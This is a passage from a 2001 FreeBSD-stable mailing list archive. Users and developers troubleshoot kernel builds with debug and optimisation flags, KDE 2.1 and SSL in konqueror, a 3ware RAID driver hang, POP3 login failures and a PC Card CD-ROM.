`atomic_subtract_short': machine/atomic.h:114: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_int': machine/atomic.h:116: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_int': machine/atomic.h:117: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_int': machine/atomic.h:118: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_int': machine/atomic.h:119: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_long': machine/atomic.h:121: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_long': machine/atomic.h:122: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_long': machine/atomic.h:123: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_long': machine/atomic.h:124: inconsistent operand constraints in an `asm' *** Error code 1 Stop in /usr/obj/usr/src/sys/GENERIC. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 22:38:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id EBB1337B718 for ; Wed, 14 Mar 2001 22:38:12 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 24272 invoked from network); 15 Mar 2001 06:38:10 -0000 Received: from unknown (HELO prophet.alphaque.com) (202.190.165.207) by ns2.alphaque.com with SMTP; 15 Mar 2001 06:38:10 -0000 Received: from localhost (5mnawu@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2F6bVb44418; Thu, 15 Mar 2001 14:37:31 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Thu, 15 Mar 2001 14:37:31 +0800 (MYT) From: Dinesh Nair To: freebsd-stable@freebsd.org Cc: will@freebsd.org Subject: kde-2.1/freebsd 4.3beta/konqueror and openssl Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i'm not sure if this is relevant here, since it's a due to a ports compile of kde-2.1, but since openssl is involved, i thought someone here may have an idea. base problem is i cant get konqueror to make https: connections. following the faq at www.konqueror.org, i explicitly included --with-ssl in /usr/ports/x11/kdelibs2/Makefile and /usr/ports/x11/kdebase2/Makefile and rebuilt and reinstalled both kdelibs2 and kdebase2, in that order. make install with -DFORCE_PKG_REGISTER worked fine, but konqueror still cant make https: connections. this by checking against https://www.fortify.net/sslcheck.html the box is freebsd 4.3-BETA as of March 7th, 2001. both src-all (tag=RELENG_4) and ports-all (tag=.) were cvsupped on March 7. one a related note, though i've got most of the files in /usr/lib dated March 7, 2001, a few of them are still dated July 28, 2000 as per the 4.1-RELEASE i installed of the cd sets. as some of these include rsaref and libssl_p.a libraries, i was wondering if this was contributing to the problem. -r--r--r-- 1 root wheel 9196 Jul 28 2000 librsaUSA.so.1 -r--r--r-- 1 root wheel 6394 Jul 28 2000 librsaUSA.a -r--r--r-- 1 root wheel 7158 Jul 28 2000 librsaUSA_p.a -r--r--r-- 1 root wheel 880 Jul 28 2000 libRSAglue_p.a -r--r--r-- 1 root wheel 244522 Jul 28 2000 libssl_p.a -r--r--r-- 1 root wheel 2284 Jul 28 2000 libRSAglue.so.1 -r--r--r-- 1 root wheel 822 Jul 28 2000 libRSAglue.a if it isnt, would it be safe to rm these July 28th dated libraries out of /usr/lib ? --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 22:54: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 9380937B726 for ; Wed, 14 Mar 2001 22:54:03 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2F6s2N39409; Wed, 14 Mar 2001 22:54:02 -0800 (PST) (envelope-from dillon) Date: Wed, 14 Mar 2001 22:54:02 -0800 (PST) From: Matt Dillon Message-Id: <200103150654.f2F6s2N39409@earth.backplane.com> To: Tim Zingelman Cc: Subject: Re: can't build 4.3-BETA GENERIC kernel with -g References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :Am I missing something here... is this the wrong way to build a kernel :with debug symbols? Any help is appreciated. The correct solution is to add the following to your kernel configuration file. That is, the file /usr/src/sys/i386/conf/YOURKERNEL, NOT make.conf. makeoptions DEBUG="-g" You can also set kernel-specific optimization flags with: makeoptions COPTFLAGS="-O -pipe" -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 23: 1:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from jfh00.fernuni-hagen.de (jfh00.fernuni-hagen.de [132.176.7.6]) by hub.freebsd.org (Postfix) with ESMTP id CB6C537B71A for ; Wed, 14 Mar 2001 23:01:32 -0800 (PST) (envelope-from fritz.heinrichmeyer@fernuni-hagen.de) Received: from fernuni-hagen.de (localhost [127.0.0.1]) by jfh00.fernuni-hagen.de (8.11.3/8.11.3) with ESMTP id f2F719O01470; Thu, 15 Mar 2001 08:01:10 +0100 (CET) (envelope-from fritz.heinrichmeyer@fernuni-hagen.de) Message-ID: <3AB068B5.DA0F4325@fernuni-hagen.de> Date: Thu, 15 Mar 2001 08:01:09 +0100 From: Fritz Heinrichmeyer Organization: FernUni in Hagen X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: de, en, de-DE MIME-Version: 1.0 To: Irvine Short Cc: freebsd-stable@FreeBSD.ORG Subject: Re: KDE 2.1 References: <3AAF315A.2AD1E46F@sanbi.ac.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG KDE 2.1 works fine with XFree86-3.3.x here on one box but not with XFree86-4.0.x when compiled with -pthread (which is now default as i understand). The component free games work on all systems and i can use konqueror on all system when i beat down the kdeinit processes with "killall -9 kdeinit" before starting konqueror. Mozilla also needed a wrapper script, thats life. It seems that it is only (!!) the component system which does not work. Unfortunately kde components depend on the Xserver and are bitten by Xserver misbehaviour as far as i understand this. Btw. any success with evolution out there? I also suspect the component system here. No components for freebsd? At least the bonobo component system does not depend on the Xserver, which is braindead i think. -- Fritz Heinrichmeyer mailto:fritz.heinrichmeyer@fernuni-hagen.de FernUniversitaet Hagen, LG ES, 58084 Hagen (Germany) tel:+49 2331/987-1166 fax:987-355 http://www-es.fernuni-hagen.de/~jfh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 23:11: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id 48A0137B718; Wed, 14 Mar 2001 23:10:58 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2F7AtQ26090; Thu, 15 Mar 2001 01:10:56 -0600 (CST) (envelope-from rand@meridian-enviro.com) Message-ID: <3AB06AFE.68273631@meridian-enviro.com> Date: Thu, 15 Mar 2001 01:10:54 -0600 From: "Douglas K. Rand" Organization: Meridian Environmental Technoloties X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Smith Cc: freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems References: <200103150029.f2F0TTF04572@mass.dis.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > If you've done this and you're still having problems, build the driver > with TWE_DEBUG enabled, and boot a kernel with DDB enabled. Then, when > mysql sticks, break to DDB and say > > db> call twe_report Well, it took 6 hours, but we finally managed to get mysqd to stick again. Here is the output from twe_report: db> call twe_report twe0: status 57007720 twe0: current max twe0: free 0254 0255 twe0: ready 0000 0000 twe0: busy 0001 0130 twe0: complete 0000 0014 twe0: bioq 0000 0001 twe0: AEN queue head 1 tail 0 twed: total bio count in 2330109 out 2330108 0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 23:12:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id F302A37B71C for ; Wed, 14 Mar 2001 23:12:47 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id BAA15237; Thu, 15 Mar 2001 01:18:10 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Thu, 15 Mar 2001 01:18:10 -0600 (CST) From: Tim Zingelman X-Sender: To: Cc: Matt Dillon Subject: Re: can't build 4.3-BETA GENERIC kernel with -g In-Reply-To: <200103150654.f2F6s2N39409@earth.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Mar 2001, Matt Dillon wrote: > :Am I missing something here... is this the wrong way to build a kernel > :with debug symbols? Any help is appreciated. > > The correct solution is to add the following to your kernel > configuration file. That is, the file /usr/src/sys/i386/conf/YOURKERNEL, > NOT make.conf. > makeoptions DEBUG="-g" The result is the same... make.conf now has: CFLAGS= -pipe COPTFLAGS= -pipe and I just removed the # from the line: makeoptions DEBUG=-g in /usr/src/sys/i386/conf/GENERIC make kernel KERNCONF=GENERIC ... cc -c -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -g -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 -fomit-frame-pointer ../../i386/i386/atomic.c In file included from ../../i386/i386/atomic.c:47: machine/atomic.h: In function `atomic_set_char': machine/atomic.h:106: inconsistent operand constraints in an `asm' ... - Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 23:37: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id 9C58637B71A for ; Wed, 14 Mar 2001 23:37:05 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id BAA15310; Thu, 15 Mar 2001 01:42:28 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Thu, 15 Mar 2001 01:42:28 -0600 (CST) From: Tim Zingelman X-Sender: To: Cc: Matt Dillon Subject: Re: can't build 4.3-BETA GENERIC kernel with -g In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Mar 2001, Tim Zingelman wrote: > On Wed, 14 Mar 2001, Matt Dillon wrote: > > > :Am I missing something here... is this the wrong way to build a kernel > > :with debug symbols? Any help is appreciated. > > > > The correct solution is to add the following to your kernel > > configuration file. That is, the file /usr/src/sys/i386/conf/YOURKERNEL, > > NOT make.conf. > > makeoptions DEBUG="-g" > > The result is the same... > > make.conf now has: > CFLAGS= -pipe > COPTFLAGS= -pipe > > and I just removed the # from the line: > makeoptions DEBUG=-g > in /usr/src/sys/i386/conf/GENERIC > It turns out the problem has to do with my having removed the -O from either CFLAGS or COPTFLAGS. I built & installed world/kernel with -O -pipe, then later tried to make kernel with just -pipe and it failed (with or without debug)... I guess if I buildworld with -O I must build my kernel with -O. Is there any problem getting info out of a crashdump if the kernel is compiled -O (along with -g) Now that I've restored the -O, a debug GENERIC builds just fine. I had no idea that I could not mix -O and non -O code... sorry about that. - Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 23:43:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id E737B37B719; Wed, 14 Mar 2001 23:43:19 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2F7hHQ30747; Thu, 15 Mar 2001 01:43:17 -0600 (CST) (envelope-from rand@meridian-enviro.com) Message-ID: <3AB07294.61602A97@meridian-enviro.com> Date: Thu, 15 Mar 2001 01:43:16 -0600 From: "Douglas K. Rand" Organization: Meridian Environmental Technoloties X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Smith Cc: freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems References: <200103150730.f2F7UWE02140@mass.dis.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Drat. There it is; you've got a command that looks like it's stuck in > the adapter. I'll go grab the can of WD-40. :) > I didn't see you respond to Mike T - are you using 64k or 128k stripes? I didn't get his query until I had already started the mysqd trying to break things. And now I'm at home, and while serial consoles are *really* great for most things, I can't get at the 3ware BIOS from here. I didn't want to respond until I had checked the bios. I'm /fairly/ sure that I took the default 64K stripes, but one time in rebinding the array I did change the stripe size. > If the latter, try changing the value of TWE_Q_LENGTH in > /sys/dev/twe/twereg.h to 100 and see if you can reproduce it. Rebuilding the kernel as I type. > I am worrying about firmware here at the moment We are running the latest firmware as of about 10 days ago. > Thanks for your patience. Are you kidding? Thanks for all the help. We really appreciate it. Anything we can do to help, let us know. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 0: 8:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from firebat.bushong.net (c128625-a.frmt1.sfba.home.com [24.176.225.90]) by hub.freebsd.org (Postfix) with ESMTP id 68BBB37B71A for ; Thu, 15 Mar 2001 00:08:32 -0800 (PST) (envelope-from dbushong@firebat.bushong.net) Received: (from dbushong@localhost) by firebat.bushong.net (8.11.0/8.11.0) id f2F88Sw82782; Thu, 15 Mar 2001 00:08:28 -0800 (PST) (envelope-from dbushong) Date: Thu, 15 Mar 2001 00:08:28 -0800 From: David Bushong To: Mike Harding Cc: bde@zeta.org.au, stable@FreeBSD.ORG, mi@aldan.algebra.com Subject: Re: load stays at 1 on an idle machine Message-ID: <20010315000828.F50831@bushong.net> References: <20010310132722.BF1A4113E7A@netcom1.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010310132722.BF1A4113E7A@netcom1.netcom.com>; from mvh@ix.netcom.com on Sat, Mar 10, 2001 at 05:27:22AM -0800 X-Floating-Sheep-Port: 0xbaa Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I, too, see this all the time, and have since I upgraded to 3.0 (same machine, have upgraded incrementally to 3.1, 3.2, 3.3, 4.0, 4.1, 4.2 (all -STABLEs)), and have seen this the whole time. Never tracked it down, either... (Just another data point) My machine: PII/266, 128MB memory, P2L97 motherboard (everything else has changed at one time or another) --David Bushong On Sat, Mar 10, 2001 at 05:27:22AM -0800, Mike Harding wrote: > > I have seen this behavior a number of times over the years, but never > tracked it down. I even looked at the kernel code which computed the > load to see if I could identify anything obvious. > > I have noticed that when this happes, the load is basically a > completely stable value of 1.0 or very close to it, almost like it is > in a locally stable state. Didn't look for zombies though - I use > junkbuster and it always keeps a few zombies around because the main > spawn loop is screwy. (grrr). > > - Mike Harding > > Date: Sat, 10 Mar 2001 23:58:51 +1100 (EST) > From: Bruce Evans > X-Sender: bde@besplex.bde.org > Cc: Mikhail Teterin > Content-Type: TEXT/PLAIN; charset=US-ASCII > Sender: owner-freebsd-stable@FreeBSD.ORG > X-Loop: FreeBSD.ORG > Precedence: bulk > > On Fri, 9 Mar 2001, Will Andrews wrote: > > > On Fri, Mar 09, 2001 at 10:39:53AM -0500, Mikhail Teterin wrote: > > > I was running a single instance of SETI@Home, when I observed the load > > > of 2. I stopped seti and the load went down to one. It stays there for > > > about 20 hours already. The machine is idle: > > > top(1) doesn't show all stats relevant to the load average. Check > > vmstat/systat/iostat/netstat/etc. > > Perhaps it is the entropy harvester reaping itself ;-). > > > Besides, the load average is a > > worthless metric if you ask me. > > Erm, it is a fundamental part of the scheduler. The scheduler is b0rked, > but not that part of it. > > Bruce > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 0:13:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 8C6E137B71C for ; Thu, 15 Mar 2001 00:13:30 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 1323A66E25; Thu, 15 Mar 2001 00:13:30 -0800 (PST) Date: Thu, 15 Mar 2001 00:13:29 -0800 From: Kris Kennaway To: Tim Zingelman Cc: freebsd-stable@FreeBSD.ORG, Matt Dillon Subject: Re: can't build 4.3-BETA GENERIC kernel with -g Message-ID: <20010315001329.A54974@mollari.cthul.hu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Dxnq1zWXvFF0Q93v" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from zingelman@fnal.gov on Thu, Mar 15, 2001 at 01:42:28AM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Dxnq1zWXvFF0Q93v Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Mar 15, 2001 at 01:42:28AM -0600, Tim Zingelman wrote: > I built & installed world/kernel with -O -pipe, then later tried to make > kernel with just -pipe and it failed (with or without debug)... I guess if > I buildworld with -O I must build my kernel with -O. Is there any problem > getting info out of a crashdump if the kernel is compiled -O (along with -g) Actually it just means building without -O is just broken..it's not because you're mixing -O with non-O. It shouldn't matter for analysing dumps - the fact that it's broken means none of the developers have had a need to do that either :-) Kris --Dxnq1zWXvFF0Q93v Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6sHmpWry0BWjoQKURAh3vAJ0fwxmoCTcETuz1K7EzLHZo323ddgCgiNRk BrV2QJC8TPriyb5HwaIDYtU= =M3zz -----END PGP SIGNATURE----- --Dxnq1zWXvFF0Q93v-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 0:17:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id CD1B237B719 for ; Thu, 15 Mar 2001 00:17:50 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2F8GJH09839; Thu, 15 Mar 2001 00:16:19 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: dmmiller@cvzoom.net Cc: pfeifer@dbai.tuwien.ac.at, freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support In-Reply-To: <3AB00D75.2D5C27C3@cvzoom.net> References: <20010314092518L.jkh@osd.bsdi.com> <20010314110208B.jkh@osd.bsdi.com> <3AB00D75.2D5C27C3@cvzoom.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010315001619G.jkh@osd.bsdi.com> Date: Thu, 15 Mar 2001 00:16:19 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 4 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It'll be in loader.conf, actually. That's also a fine place to load modules. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 0:38:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aifhs8.alcatel.fr (aifhs8.alcatel.fr [212.208.74.153]) by hub.freebsd.org (Postfix) with ESMTP id 48B8D37B718; Thu, 15 Mar 2001 00:38:11 -0800 (PST) (envelope-from Thierry.Herbelot@alcatel.fr) Received: from frmta003.netfr.alcatel.fr (frmta003.netfr.alcatel.fr [155.132.251.32]) by aifhs8.alcatel.fr (ALCANET/SMTP2) with SMTP id JAA00681; Thu, 15 Mar 2001 09:38:03 +0100 (MET) Received: by frmta003.netfr.alcatel.fr(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id C1256A10.002F68B6 ; Thu, 15 Mar 2001 09:37:49 +0100 X-Lotus-FromDomain: ALCATEL From: Thierry.Herbelot@alcatel.fr To: sudz@ns3g.com Cc: "Karel J. Bosschaart" , freebsd-stable@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Message-ID: Date: Thu, 15 Mar 2001 09:37:41 +0100 Subject: RE: KDE2.1 ++ GNOME 1.2 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, on my work box, I've got both KDE2.1 and gnome1.2 As I had troubles compiling KDE2.1 on my home box which is a regularly cvs'ed and make world'ed (couldn't compile Qt because of threads problems), I've reinstalled a recent 4.2-snapshot on the work box in order to compile KDE2.1. After that, I've loaded and then recompiled gnome1.2 without any problem. HTH TfH PS : thanks for Will Andrews for the KDE2 port "Colin Legendre" on 14/03/2001 18:51:35 Please respond to sudz@ns3g.com To: "Karel J. Bosschaart" cc: freebsd-stable@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG(bcc: Thierry HERBELOT/FR/ALCATEL) Subject: RE: KDE2.1 ++ GNOME 1.2 If I do it one way it fail on KDEGames, the other it fails on bonobo. -----Original Message----- From: Karel J. Bosschaart [mailto:karelj@wop21.wop.wtb.tue.nl] Sent: Wednesday, March 14, 2001 12:29 PM To: Colin Legendre Cc: freebsd-stable@FreeBSD.ORG; freebsd-questions@FreeBSD.ORG Subject: Re: KDE2.1 ++ GNOME 1.2 On Wed, Mar 14, 2001 at 10:17:42AM -0500, Colin Legendre wrote: > I am having huge problems installing KDE2.1 and GNOME1.2 on the same box > from the ports. > > It would seem that you cannot install both of them on the same box. Because > I tried installing kde first, that worked, then gnome and the gnome build > failed! Then I tried installing Gnome first than kde and the kde build > failed. Any help here guys.! > That sounds bizarre... you aren't running out of disk space, are you?? What's the error you get in the build? Karel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 2:26: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shalimar.net.au (shalimar.net.au [198.142.161.98]) by hub.freebsd.org (Postfix) with ESMTP id 621DC37B718 for ; Thu, 15 Mar 2001 02:26:03 -0800 (PST) (envelope-from count@shalimar.net.au) Received: from shalimar.net.au (localhost [127.0.0.1]) by shalimar.net.au (8.11.2/8.11.1) with SMTP id f2FAPgV26521; Thu, 15 Mar 2001 21:25:45 +1100 (EST) (envelope-from count@shalimar.net.au) Content-Type: text/plain; charset="iso-8859-1" From: Zero Sum Organization: Tobacco Chewers and Body Painters Association. To: "Michael Conlen" , Subject: Re: POP3 Date: Thu, 15 Mar 2001 21:25:41 +1100 X-Mailer: KMail [version 1.2] References: In-Reply-To: X-originating-IP: coolmail.com MIME-Version: 1.0 Message-Id: <01031521254100.26505@shalimar.net.au> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday 11 March 2001 15:47, Michael Conlen wrote: > Check your pam.conf. I've seen at least two problems with this recently. I'm > having all sorts of PAM issues with ssh. > > Check your log files, if you get a message about having problems finding a > module for it then that's probably it. > > Just an intuitive guess > A miss this time..... popper3[26322]: [AUTH] Failed attempted login to geoff from host(localhost) 127.0.0.1 Software trying to access mail (outlook, StarOffice) reports and incorrect password. For each and every account. Trouble is, they are the correct ones. Yet ssh works just fine. -- Zero Sum count@shalimar.net.au Vescere bracis meis http://www.hack.gr/jargon/html/D/disclaimer.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 2:44:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id 061F037B71A for ; Thu, 15 Mar 2001 02:44:28 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-129-211.hg.mdip.bt.net [217.32.129.211]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2FAiNB21077; Thu, 15 Mar 2001 10:44:23 GMT Message-ID: <011001c0ad3b$ff7928e0$011aa8c0@godzilla> From: "David Reid" To: "Bruce Burden" Cc: References: <008901c0acdf$4f225b30$011aa8c0@godzilla> <20010314190427.C61949@tigerfish2.my.domain> <018501c0aceb$63844a00$011aa8c0@godzilla> Subject: Re: cdrom Date: Thu, 15 Mar 2001 10:37:51 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bit more information. pccardc dumpcis gives... Configuration data for card in slot 0 Tuple #1, code = 0x1 (Common memory descriptor), length = 3 000: dc 00 ff Common memory device information: Device number 1, type Function specific, WPS = ON Speed = 100nS, Memory block size = 512b, 1 units Tuple #2, code = 0x15 (Version 1 info), length = 26 000: 04 01 20 00 4e 69 6e 6a 61 41 54 41 2d 00 56 31 010: 2e 30 00 41 50 30 30 20 00 ff Version = 4.1, Manuf = [ ], card vers = [NinjaATA-] Addit. info = [V1.0],[AP00 ] Tuple #3, code = 0x1a (Configuration map), length = 5 000: 01 23 00 02 03 Reg len = 2, config register addr = 0x200, last config = 0x23 Registers: XX------ Tuple #4, code = 0x1b (Configuration entry), length = 21 000: e1 01 3d 11 55 1e fc 23 f0 61 80 01 07 86 03 01 010: 30 68 d0 10 00 Config index = 0x21(default) Interface byte = 0x1 (I/O) Vcc pwr: Nominal operating supply voltage: 5 x 1V Max current average over 1 second: 1.5 x 100mA Wait scale Speed = 1.5 x 1 us Card decodes 16 address lines, full 8/16 Bit I/O I/O address # 1: block start = 0x180 block length = 0x8 I/O address # 2: block start = 0x386 block length = 0x2 IRQ modes: Level IRQs: 3 5 6 12 14 15 Memory space length = 0x10 Tuple #5, code = 0x1b (Configuration entry), length = 15 000: 22 38 f0 61 90 01 07 96 03 01 30 68 d0 10 00 Config index = 0x22 Card decodes 16 address lines, full 8/16 Bit I/O I/O address # 1: block start = 0x190 block length = 0x8 I/O address # 2: block start = 0x396 block length = 0x2 IRQ modes: Level IRQs: 3 5 6 12 14 15 Memory space length = 0x10 Tuple #6, code = 0x1b (Configuration entry), length = 15 000: 23 38 f0 61 a0 01 07 a6 03 01 30 68 d0 10 00 Config index = 0x23 Card decodes 16 address lines, full 8/16 Bit I/O I/O address # 1: block start = 0x1a0 block length = 0x8 I/O address # 2: block start = 0x3a6 block length = 0x2 IRQ modes: Level IRQs: 3 5 6 12 14 15 Memory space length = 0x10 Tuple #7, code = 0x14 (No link), length = 0 Tuple #8, code = 0xff (Terminator), length = 0 1 slots found I just finished resyncing and making 4-STABLE and I'm seeing the same behaviour... mount /cdrom still gives the same error :( david > AFAIK it's 16-bit. In fact after rebooting once it was identified as a > NinjaATA card, which is 16-bit. > > david > > > > > > I'm getting a No such file or directory when I try to mount a CDROM with > > > 4-STABLE. I've seen some stuff about this and have 